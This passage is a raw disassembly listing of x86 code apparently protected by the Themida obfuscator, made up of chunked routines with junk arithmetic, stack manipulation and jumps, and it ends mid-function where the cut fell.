; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_591CE7: ; CODE XREF: sub_58C17E+74B3j
add eax, edx
jmp loc_58BC67
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_591CEE: ; CODE XREF: sub_5916C4-51BFj
jnb loc_593D62
shr esi, 5
jmp loc_58DA99
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
push ecx
mov ebx, edi
loc_591CFF: ; CODE XREF: Themida_:0058F048j
mov ebx, 49E9299Ah
not ebx
jmp loc_59467C
; =============== S U B R O U T I N E =======================================
sub_591D0B proc near ; CODE XREF: sub_5916C4+3450j
var_2 = word ptr -2
push ebx
mov ebx, 43781F68h
xor eax, ebx
pop ebx
movzx ax, byte ptr [eax]
push small 62D8h
mov [esp+2+var_2], ax
jmp loc_58A2CE
sub_591D0B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_591D25: ; CODE XREF: sub_595E21-38E6j
mov [esp+0], ebp
xchg ebp, [esp+0]
jmp loc_5923A5
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_591D30: ; CODE XREF: sub_592D25-8834j
inc esi
dec esi
add esi, 13442878h
add esi, 0E35A7AB1h
xor edx, esi
mov esi, [esp+0]
add esp, 4
and eax, edx
pop edx
jmp loc_5937B2
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
lodsb
xor al, bl
jmp loc_594784
; ---------------------------------------------------------------------------
pop dword ptr fs:[edx]
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_591D61: ; CODE XREF: sub_58C17E-18CAj
mov ah, 6Eh
mov dl, 0A5h
push ax
mov al, 53h
add dl, al
pop ax
sub dl, ah
push ecx
mov cl, 4Dh
jmp loc_590BC8
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_591D77: ; CODE XREF: Themida_:00590872j
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
test ecx, eax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_591D8C: ; CODE XREF: Themida_:005948FEj
xor ecx, 0A7F3C3D2h
sub ebx, ecx
pop ecx
push ecx
mov ecx, 1C171621h
inc ecx
shl ecx, 6
sub ecx, 35DB3C92h
dec ecx
jmp loc_591711
; ---------------------------------------------------------------------------
loc_591DAB: ; CODE XREF: Themida_:00595BC5j
dec ebp
jo loc_58EF07
xor ebp, 0C8391E51h
mov ecx, ebp
pop ebp
and ecx, 34DF6AD7h
jnz loc_58DB26
xor ecx, 1FA82FFAh
add ecx, 1
jmp loc_58CDF5
; ---------------------------------------------------------------------------
loc_591DD5: ; CODE XREF: Themida_:loc_58F0AAj
dec dh
jo loc_597769
xor dh, 0DEh
jmp loc_593320
; ---------------------------------------------------------------------------
loc_591DE5: ; CODE XREF: Themida_:0058B67Fj
xor ecx, esi
jmp loc_58F6E5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_591DEC: ; CODE XREF: sub_58C17E+2B9Bj
mov esi, 40314BC9h
jmp loc_58F5C5
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_591DF6: ; CODE XREF: sub_5916C4-2986j
sub [esp+arg_4], ebp
pop ebp
pop ecx
mov eax, [esp-8+arg_4]
add esp, 4
push ebp
jmp loc_592A82
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_591E0B: ; CODE XREF: Themida_:0058E1B0j
dec esi
jl loc_58DDE8
xor esi, 0D066F37h
jp loc_58BC2F
shr esi, 1
push esp
loc_591E21: ; CODE XREF: Themida_:0058DE5Aj
push ebp
jmp loc_593838
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_591E27: ; CODE XREF: sub_58C17E-1132j
push esi
mov esi, 1AD74E82h
add esi, 51EA1558h
add esi, 0A111F2FCh
not esi
jmp loc_58EE3B
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_591E40: ; CODE XREF: Themida_:0058C4D8j
or ebx, 1CB7621Eh
jge loc_59354C
push edx
push 0E9159F2h
mov edx, [esp]
jmp loc_597F33
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], al
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_591E69: ; CODE XREF: Themida_:005962F2j
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_591E6E: ; CODE XREF: sub_595258-36C3j
add esp, 4
shl ebp, 6
shl ebp, 7
or ebp, 682E6ACDh
sub ebp, 0FE68AA1Ah
xor esi, ebp
mov ebp, [esp+4+var_4]
push edi
jmp loc_58B596
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
loc_591E91: ; CODE XREF: Themida_:0058B929j
; Themida_:00594BBEj
and esi, 14E83EF4h
shl esi, 8
sub esi, 1D327C24h
xor esi, 4B0027D8h
jmp loc_58B7A0
; ---------------------------------------------------------------------------
loc_591EAB: ; CODE XREF: Themida_:00596FCBj
add [esp+4], esi
pop esi
jmp loc_596F80
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_591EB5: ; CODE XREF: sub_590467-3214j
mov edi, edx
pop edx
add ebx, edi
jmp loc_58FCB2
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_591EBF: ; CODE XREF: Themida_:0058D734j
jz loc_58FDA1
or ebx, 3D764727h
jp loc_595857
sub ebx, 0CF1CFB3Ah
mov dh, al
mov eax, edx
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_591EDB: ; CODE XREF: sub_5938B9-11A2j
pop edi
add esp, 4
jmp sub_594131
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_591EE7: ; CODE XREF: Themida_:00595D0Fj
pop ebx
xor eax, edx
push dword ptr [esp]
pop edx
jmp loc_58E7CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_591EF3: ; CODE XREF: sub_5938B9+10F1j
push small 3638h
jmp loc_58A890
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_591EFC: ; CODE XREF: Themida_:00596D49j
push edi
mov edi, esp
add edi, 4
push ebx
mov ebx, 4
add edi, ebx
pop ebx
xchg edi, [esp]
pop esp
jmp loc_595C18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_591F17: ; CODE XREF: sub_58F5B5-3043j
add esp, 4
xchg ecx, [esp-0Ch+arg_8]
jmp loc_58AF1A
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_591F22: ; CODE XREF: Themida_:00596D23j
add dword ptr [esp], 4
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_591F2B: ; CODE XREF: Themida_:00597AD0j
mov esi, [esp]
push esi
jmp loc_5970BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_591F34: ; CODE XREF: sub_58C17E+266Dj
btr [esp+0], ax
pushf
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_591F3F: ; CODE XREF: Themida_:0058C5B0j
pop ebx
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_591F45: ; CODE XREF: sub_5916C4-48D4j
mov ecx, 57BE5F7Bh
sub ebx, ecx
pop ecx
jmp loc_592DDC
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_591F52: ; CODE XREF: Themida_:0058F3E7j
; Themida_:005936A1j
mov esi, 144E51C9h
add edx, esi
pop esi
add edx, 672B404Bh
jmp loc_58D3C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_591F65: ; CODE XREF: sub_590467+5847j
add esp, 4
push ecx
jmp loc_595CDB
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_591F71: ; CODE XREF: sub_58B4D6+3AAEj
pop ebx
xchg edx, [esp+4+var_4]
mov esp, [esp+4+var_4]
mul cx
jmp loc_58AD5E
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_591F80: ; CODE XREF: sub_5EC2E8-5CD9Fj
push edx
push esp
pop edx
push 9DBh
mov [esp+44h+var_44], ecx
jmp loc_58DDC1
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_591F90: ; CODE XREF: Themida_:00594106j
shl edx, 5
xor edx, 0BBE5FBE4h
add edi, edx
pop edx
add edi, 2
push 0A8Fh
mov [esp], edi
push dword ptr [esp+4]
jmp loc_5953B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_591FB3: ; CODE XREF: sub_5938B9+164Cj
inc ecx
jge loc_597AD5
and ecx, 2193139h
ja loc_592140
jmp loc_5906B4
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
jmp loc_58B87E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_591FD0: ; CODE XREF: sub_58C17E+5EBEj
shl ecx, 6
js loc_58AD53
sub ecx, 0BB2A04F5h
jmp loc_58D05B
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
push eax
mov ah, al
push esp
loc_591FE8: ; CODE XREF: Themida_:0058DA59j
mov edx, 4
sub ebp, edx
pop edx
jmp loc_58B531
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594654
loc_591FF5: ; CODE XREF: sub_594654-7047j
neg ecx
push ebp
jmp loc_59710A
; END OF FUNCTION CHUNK FOR sub_594654
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_591FFD: ; CODE XREF: sub_58C17E+3639j
xor [esp+0], ebx
xor ebx, [esp+0]
pop esp
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_592009: ; CODE XREF: Themida_:005966A3j
xor ecx, ebx
pop ebx
sub ecx, 0E2CCE789h
xor eax, ecx
jmp loc_591BB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_592019: ; CODE XREF: sub_5916C4-5639j
add esp, 4
push ecx
jmp loc_594B5E
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_592022: ; CODE XREF: Themida_:005913C2j
sub ebp, 4F66FD4h
jmp loc_596252
; ---------------------------------------------------------------------------
loc_59202D: ; CODE XREF: Themida_:00594762j
pop edi
jmp loc_58E9B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_592033: ; CODE XREF: sub_58C17E-C90j
add edi, eax
push eax
jmp loc_58CEC2
; ---------------------------------------------------------------------------
loc_59203B: ; CODE XREF: sub_58C17E:loc_58B095j
inc ecx
jg loc_591FD0
shl ecx, 6
js loc_58E019
sub ecx, 0BB2A04F5h
push ecx
add [esp+8+var_8], 6DD019Bh
loc_592059: ; CODE XREF: Themida_:00593EFBj
mov esi, [esp+8+var_8]
add esp, 4
shr esi, 2
jmp loc_58B046
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_592067: ; CODE XREF: Themida_:0058FB1Ej
pop esi
sub esp, 4
mov [esp], edx
push esp
pop edx
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_590961
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_592085: ; CODE XREF: sub_590467+5D3Fj
not dh
not dh
shr dh, 6
jmp loc_58D852
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_592091: ; CODE XREF: sub_58C17E+3E07j
add ecx, 4
xchg ecx, [esp+2+var_4+2]
pop esp
pop ecx
jmp loc_594936
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
push ebp
push 0DB1h
jmp loc_58C533
; ---------------------------------------------------------------------------
loc_5920BB: ; CODE XREF: Themida_:0058CFECj
add esp, 4
jmp loc_5905E8
; ---------------------------------------------------------------------------
loc_5920C3: ; CODE XREF: Themida_:0058BD06j
xor ebp, [esp]
mov esp, [esp]
bts [esp], ax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_5920D4: ; CODE XREF: sub_59524C+282Fj
add eax, 4
push esi
push ecx
jmp loc_58BF07
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
loc_5920E0: ; CODE XREF: Themida_:0058D8B2j
add esp, 4
bt [esp], eax
pushf
jmp loc_5934B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5920F0: ; CODE XREF: sub_58C17E+7997j
add esi, 4
jmp loc_58CCFB
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_5953EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_592107: ; CODE XREF: sub_590467-40CFj
add ebx, 4
push ebx
push [esp-4+arg_4]
jmp loc_58F2A6
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_592114: ; CODE XREF: Themida_:0058BC62j
pop ebx
pop dword ptr [esp]
mov esp, [esp]
add esp, 4
xor [esp], eax
pushf
jmp loc_58F320
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_592127: ; CODE XREF: sub_590467-23F5j
or eax, eax
jnz sub_592857
push ebp
push esp
mov ebp, [esp+0Ah+var_A]
jmp loc_58A8E2
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_592139: ; CODE XREF: sub_595123+966j
and eax, ecx
jmp loc_58D497
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_592140: ; CODE XREF: sub_5938B9-18F9j
jmp loc_592420
; ---------------------------------------------------------------------------
loc_592145: ; CODE XREF: sub_5938B9-32BEj
add edi, 4
jmp loc_5938BF
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_592150: ; CODE XREF: sub_590467-50F7j
; sub_5916C4+2141j
push ecx
push eax
push 58770C6h
jmp loc_5957F7
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_59215C: ; CODE XREF: sub_5EC2E8-58E15j
pop ebx
and eax, ecx
mov ecx, [esp+40h+var_40]
add esp, 4
jmp loc_58BBFA
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_59216A: ; CODE XREF: sub_58C17E+A63Fj
mov ecx, 5C923D83h
shl ecx, 6
not ecx
xor ecx, 3BE83E8Fh
dec ecx
add ecx, 584484A1h
or eax, ecx
pop ecx
add eax, 0FA189E8Dh
add ebp, eax
pop eax
add eax, ebp
pop ebp
jmp loc_58A4BD
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_592194: ; CODE XREF: Themida_:0058D6C0j
add dword ptr [esp], 4
jmp loc_58DFF5
; ---------------------------------------------------------------------------
loc_5921A0: ; CODE XREF: Themida_:00592C7Fj
pop esp
jmp loc_594910
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5921A6: ; CODE XREF: sub_58C17E+86AFj
xor edi, 7B9C1521h
jmp loc_59774E
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_5921B1: ; CODE XREF: Themida_:0058F1ACj
pop dword ptr [esp]
push esi
mov esi, 4
add [esp+4], esi
mov esi, [esp]
add esp, 4
push dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_58ED6E
; =============== S U B R O U T I N E =======================================
sub_5921D8 proc near ; CODE XREF: sub_5916C4+48j
; sub_58F5B5+8759j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0058B249 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0058B62C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058D52E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00593152 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005936E4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593A52 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00593C25 SIZE 00000013 BYTES
push ebx
push 36CCh
mov [esp+8+var_8], eax
push ebx
jmp loc_58D52E
sub_5921D8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_5921E7: ; CODE XREF: sub_59762D-7AA4j
add bl, dh
jmp loc_591121
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_5921EE: ; CODE XREF: Themida_:0058B9C4j
; Themida_:00592225j
pop ebx
push 5A81h
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], eax
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_59220D: ; CODE XREF: Themida_:0059621Bj
shr edx, 2
jnp loc_58D630
shl edx, 3
and edx, 263F73B9h
jg loc_592757
jmp loc_5921EE
; ---------------------------------------------------------------------------
mov ebp, ecx
pop ecx
push eax
push ebp
; START OF FUNCTION CHUNK FOR sub_59089C
loc_59222F: ; CODE XREF: sub_59089C+8j
pop ebx
sub esi, 11E680AFh
push esi
push edi
mov edi, 5DB64E91h
xor [esp+8+var_4], edi
pop edi
jmp loc_58A5E4
; END OF FUNCTION CHUNK FOR sub_59089C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_592247: ; CODE XREF: sub_590467+32E9j
mov ebp, [esp+0Ah+var_A]
add esp, 4
xchg esi, [esp+6+var_6]
mov esp, [esp+6+var_6]
mov cx, word ptr [esp+6+var_6]
push eax
jmp loc_58FB47
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_59225D: ; CODE XREF: Themida_:00593C56j
; Themida_:005942A1j
add edi, 68D06334h
jmp loc_58CD7B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_592268: ; CODE XREF: sub_590467+415Bj
shl esi, 3
jmp loc_58EDDF
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B70
loc_592270: ; CODE XREF: sub_590B70-4BBj
mov ecx, 0A5A385F0h
sub edx, ecx
pop ecx
push esi
mov esi, 13057644h
neg esi
add esi, 15580F43h
and esi, 3C8C0101h
add esi, 448A36A7h
add esi, 0A773073h
jmp loc_595B88
; END OF FUNCTION CHUNK FOR sub_590B70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_59229D: ; CODE XREF: sub_59762D-7F03j
mov al, 69h
add al, 0D7h
push ebx
jmp loc_58C7ED
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F091
loc_5922A7: ; CODE XREF: sub_58F091+14j
and edi, 21CE4626h
jmp loc_58C5E8
; END OF FUNCTION CHUNK FOR sub_58F091
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_5922B2: ; CODE XREF: sub_590010-2D1Cj
pop edx
jmp loc_58F0E7
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_5922B8: ; CODE XREF: Themida_:0058F8EDj
jmp loc_592DEE
; ---------------------------------------------------------------------------
loc_5922BD: ; CODE XREF: Themida_:0059500Bj
mov esi, esp
add esi, 4
add esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [esp]
mov ecx, [esp]
push edx
jmp loc_596FA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BDA
loc_5922E0: ; CODE XREF: sub_595BDA-4B26j
push edx
jmp loc_591400
; END OF FUNCTION CHUNK FOR sub_595BDA
; ---------------------------------------------------------------------------
loc_5922E6: ; CODE XREF: Themida_:0059540Cj
add esp, 4
jmp loc_597793
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_5922F1: ; CODE XREF: sub_58F5B5+1110j
add edx, ecx
sub edx, 43F67A21h
pop ecx
jmp loc_58C252
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5922FF: ; CODE XREF: sub_58C17E+7DA8j
sub edi, 6E3D65DFh
mov esi, [esp-12h+arg_C+2]
push ecx
jmp loc_594E3C
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_59230E: ; CODE XREF: Themida_:0058BBDAj
; sub_5EC2E8-5BE39j
pop eax
inc edx
and edx, 5C99655Ah
or edx, 63844BA5h
jmp loc_59245E
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_592321: ; CODE XREF: Themida_:00594C6Fj
xchg esi, [esp]
pop esp
mov [esp], ax
jmp loc_59511D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_59232E: ; CODE XREF: sub_5916C4-330Dj
neg ebp
jg loc_5931C5
jmp loc_5919DA
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_59233B: ; CODE XREF: sub_58F5B5+2EB7j
pop ecx
add ebx, 0A285F659h
add edi, ebx
jmp loc_595CEB
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_592349: ; CODE XREF: sub_58B4D6+547Aj
pop ebp
push ebx
mov ebx, 712739FFh
not ebx
add ebx, 2A7F1478h
xor ebx, 6B3733A7h
xor ebx, 56E93B97h
jmp loc_597DA6
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
loc_592369: ; CODE XREF: Themida_:005948E6j
jz loc_593783
push si
mov si, 3EEEh
or bp, si
mov si, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 2
jmp loc_591029
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B70
loc_59238D: ; CODE XREF: sub_590B70-3227j
xor eax, 0AB938BD1h
add ebx, eax
jmp loc_59407D
; END OF FUNCTION CHUNK FOR sub_590B70
; ---------------------------------------------------------------------------
loc_592399: ; CODE XREF: Themida_:00595689j
pop ebx
add ecx, 4
xchg ecx, [esp]
jmp loc_58C9BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_5923A5: ; CODE XREF: sub_595E21-40F6j
not ebp
jmp loc_59307D
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_5923AC: ; CODE XREF: sub_592D25+2AF7j
push 148663BDh
pop ebx
shr ebx, 8
js loc_58E80A
inc ebx
jmp loc_592553
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_5923C1: ; CODE XREF: sub_5938B9-3B85j
mov [esp+0], ebx
mov bh, dl
jmp sub_594FD6
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_596CA1
loc_5923CB: ; CODE XREF: sub_58C17E+38A4j
; sub_596CA1-136Bj
add ebx, 4
jmp loc_58EB3C
; END OF FUNCTION CHUNK FOR sub_596CA1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_5923D6: ; CODE XREF: sub_59762D-2099j
jmp loc_5903AB
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_5923DB: ; CODE XREF: sub_58F5B5+5503j
; Themida_:005959DFj
shr ecx, 4
neg ecx
jmp loc_58F180
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_5923E5: ; CODE XREF: Themida_:00596207j
add edx, 4
sub edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_58F167
; ---------------------------------------------------------------------------
loc_5923FF: ; CODE XREF: Themida_:0058F672j
add ebx, 5B063CD3h
pop dword ptr [eax]
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_59240C: ; CODE XREF: sub_590010-3D36j
sub eax, 79E7A6F2h
jmp loc_594B8D
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_592416: ; CODE XREF: Themida_:0058A4E5j
mov [esp], edi
mov edi, esp
jmp loc_58A811
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_592420: ; CODE XREF: sub_5938B9:loc_592140j
neg ecx
jmp loc_5933C2
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592857
loc_592427: ; CODE XREF: sub_592857+491Aj
add esp, 4
jmp sub_595123
; END OF FUNCTION CHUNK FOR sub_592857
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_59242F: ; CODE XREF: sub_58B4D6+97FFj
push [esp+0Ch+var_C]
pop ebp
jmp loc_59658E
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_592438: ; CODE XREF: sub_592D25-3898j
push edx
mov edx, 655A4E46h
add edi, edx
pop edx
jmp loc_58F755
; ---------------------------------------------------------------------------
loc_592446: ; CODE XREF: sub_592D25-6BCAj
push ecx
push 48B010A4h
pop ecx
push edi
mov edi, 0
sub edi, ecx
mov ecx, edi
pop edi
push edx
jmp loc_5959BE
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_59245E: ; CODE XREF: sub_5EC2E8-59FCCj
sub edx, 3E9DDC3Ch
jmp loc_596BF4
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_592469: ; CODE XREF: sub_58F5B5+166j
pop ebp
xor ebx, ecx
jmp loc_59233B
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_592471: ; CODE XREF: Themida_:0059096Fj
xchg edx, [esp]
pop esp
add esi, 4
push ebp
mov ebp, 2CD31473h
xor ebp, 42B592Dh
jmp loc_592BA1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591059
loc_59248C: ; CODE XREF: sub_591059-50F7j
sub esi, 5ACA016Ah
inc esi
jmp loc_58C208
; END OF FUNCTION CHUNK FOR sub_591059
; ---------------------------------------------------------------------------
loc_592498: ; CODE XREF: Themida_:00596A88j
add esi, 4
add esi, 2
jmp loc_5910C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BA12
loc_5924A9: ; CODE XREF: sub_58BA12+5C8Bj
add esi, 0D194B405h
or ebp, esi
pop esi
push edx
mov edx, 1FCB5FC4h
and ebp, edx
pop edx
shr ebp, 4
xchg edi, ebp
jmp loc_594880
; END OF FUNCTION CHUNK FOR sub_58BA12
; ---------------------------------------------------------------------------
loc_5924C5: ; CODE XREF: Themida_:00596028j
shl ebx, 1
neg ebx
push edi
mov edi, 5A5CC5BEh
add ebx, edi
pop edi
push ebp
mov ebp, ebx
mov edx, ebp
pop ebp
mov ebx, [esp]
add esp, 4
add edx, 0CFB4AA84h
sub ebp, 73D35964h
add ebp, 7C8E55B7h
add ebp, edx
sub ebp, 7C8E55B7h
add ebp, 73D35964h
jmp loc_58C4ED
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_592503: ; CODE XREF: sub_5916C4-14C6j
xor ebp, 81576044h
and ecx, ebp
mov ebp, [esp-4+arg_0]
jmp loc_58FD7A
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_592513: ; CODE XREF: sub_595E21-57D5j
